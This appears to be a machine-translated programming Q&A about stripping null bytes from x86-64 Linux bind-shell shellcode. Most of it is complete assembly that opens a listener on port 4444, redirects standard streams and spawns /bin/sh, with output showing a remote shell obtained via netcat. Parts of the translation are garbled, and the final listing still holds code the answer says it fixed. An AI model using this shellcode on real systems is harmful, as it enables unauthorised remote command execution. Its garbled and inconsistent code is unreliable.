删除空字节汇编 shellcode

Remove null byte assembly shellcode

从我的 shellcode 中删除空字节时,我似乎无法在没有奇怪的解决方法的情况下将 mov rsi 指令中的空字节彻底删除。

我有一个 bindshell shellcode,在执行 dup2 系统调用时,我必须将 rsi 设置为 0、1 和 2,以便我可以将 stdin、stdout 和 stderror 设置回 "user"。 删除空字节时,我通常会做类似的事情:

xor rsi, rsi
mov sil, 1

但这不知何故破坏了我的 shellcode。 所以我所做的工作是:

xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1

有点多...

有人能告诉我为什么我只用 mov sil, 1 来破解 shellcode 吗?

编辑: 完整的无效代码:

global _start


_start:

    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall

    mov rdi, rax

    xor rax, rax 

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8


    mov al, 49

    mov rsi, rsp
    mov dl, 16
    syscall

    mov al, 50
    mov sil, 2
    syscall


    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall

    mov r9, rax 


    mov al, 3
    syscall


    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall

    mov al, 33
    xor rsi, rsi
    **mov sil, 1**
    syscall

    mov al, 33
    xor rsi,rsi
    **mov sil, 2** 
    syscall

HERE COMES ACTUALL SHELL CALLING

您的问题与您在堆栈上构建的 sockaddr 结构有关。您的代码执行此操作:

xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte  [rsp-8], 0x2
sub rsp, 8

这将创建一个 16 字节的 sockaddr,但尚未完全初始化。因为你只用 mov byte [rsp-8], 0x2 移动一个字节,所以 [rsp-7] 处的字节实际上从未被初始化,它会是被利用的程序 运行ning 时堆栈上发生的任何事情.它可能不是 0。如果它不是 0,那么该结构将有效地具有伪造的 sa_family(或 sin_family)字段。您可以做的是将结构初始化为全零,然后用以下内容填充它:

xor rax, rax
push rax
push rax
mov word [rsp+2], 0x5c11
mov byte [rsp], 0x2

两人提前将结构体栈上的16字节内存压零。 sub rsp, 8 被移除,因为 RSP 被推送更新。我们修改 MOV 指令以反映结构中数据的新偏移量。

您正在使用的此参数的 C 样式结构定义是:

struct sockaddr_in {
   short int            sin_family;        /* 16-bit field, not 8-bit */
   unsigned short int   sin_port;
   struct in_addr       sin_addr;
   unsigned char        sin_zero[8];
};

在为 accept 系统调用创建 space 时遇到问题。此代码:

sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp

sub rsp, 16 很好,因为它为 addr 结构分配了 16 个字节。问题在于 addrlen 结构是一个 32 位无符号整数。您分配了 1 个字节,因此长度可能会受到 addr 结构开头的垃圾的影响(您的数据重叠并且内存未初始化)。您需要零初始化至少 4 个字节的堆栈 space 并将值 16(长度)移入其中。你可以这样做:

sub rsp, 16
mov rsi, rsp
xor edx, edx              ; RDX = 0
push rdx                  ; Zero initialize 8 bytes of stack space
mov byte [rsp], 16        ; Set length to 16
mov rdx, rsp

为了简化我为 addrlen 字段分配了 8 个字节并将其初始化为值 16(结构长度)。分配额外的 space 不是问题,它只会浪费 4 个字节的内存。 xor edx, edxxor rdx,rdx 的作用相同,但编码更短。如果目标操作数是 32 位寄存器,CPU 会自动将其零扩展到 64 位寄存器。


通过上述修复,您应该能够删除如下所示的代码:

mov dl, 1
sub dl, 1

和:

mov sil, al
sub sil, al

当 shellcode 漏洞被放入可利用程序时,使用这些指令可能只是通过改变堆栈布局暂时掩盖了问题。


其他建议

如果您通过 strace 运行 您的代码(无论是独立的还是作为另一个程序中的 shellcode),它将 运行 指定的程序并转储所有调用的系统调用以及它们的参数。正是这些信息让我意识到一些未初始化的堆栈导致使用了错误的值。如果您在调试器中,如果您转储堆栈数据以查看实际用于初始化相关结构的字节,您会遇到类似的问题。

通过在 dup 系统调用之后添加一些示例代码并删除 ** 字符,您的代码就可以工作了。

正如@Michael Petch 指出的那样,“......没有 sys_exit 系统调用,因此它可能会因段错误而崩溃,因为它 运行 是内存中的任何内容。”

我刚刚添加了一些使用 execve 系统调用的额外代码 运行 /bin/sh 只是为了说明您的代码可能是可行的。

nasm -felf64 -g -F dwarf wealot_001.s -o wealot_001.o && ld wealot_001.o -o wealot_001



global _start


_start:

    xor rax, rax
    mov al, 41
    xor rdi, rdi
    mov dil, 2
    xor rsi, rsi
    mov sil, 1
    xor rdx, rdx
    mov dl, 1
    sub dl, 1
    syscall

    mov rdi, rax

    xor rax, rax

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11
    mov byte  [rsp-8], 0x2
    sub rsp, 8


    mov al, 49

    mov rsi, rsp
    mov dl, 16
    syscall

    mov al, 50
    mov sil, 2
    syscall


    mov al, 43
    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall
    mov r9, rax


    mov al, 3
    syscall


    mov rdi, r9
    mov al, 33
    xor rsi, rsi
    mov sil, al
    sub sil, al
    syscall

    mov al, 33
    xor rsi, rsi
    mov sil, 1
    syscall

    mov al, 33
    xor rsi,rsi
    mov sil, 2
    syscall





        ; First NULL push
        xor rax, rax
        push rax

        ; push /bin//sh in reverse
        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI
        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI
        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

输出:

$ nc localhost 4444
whoami
david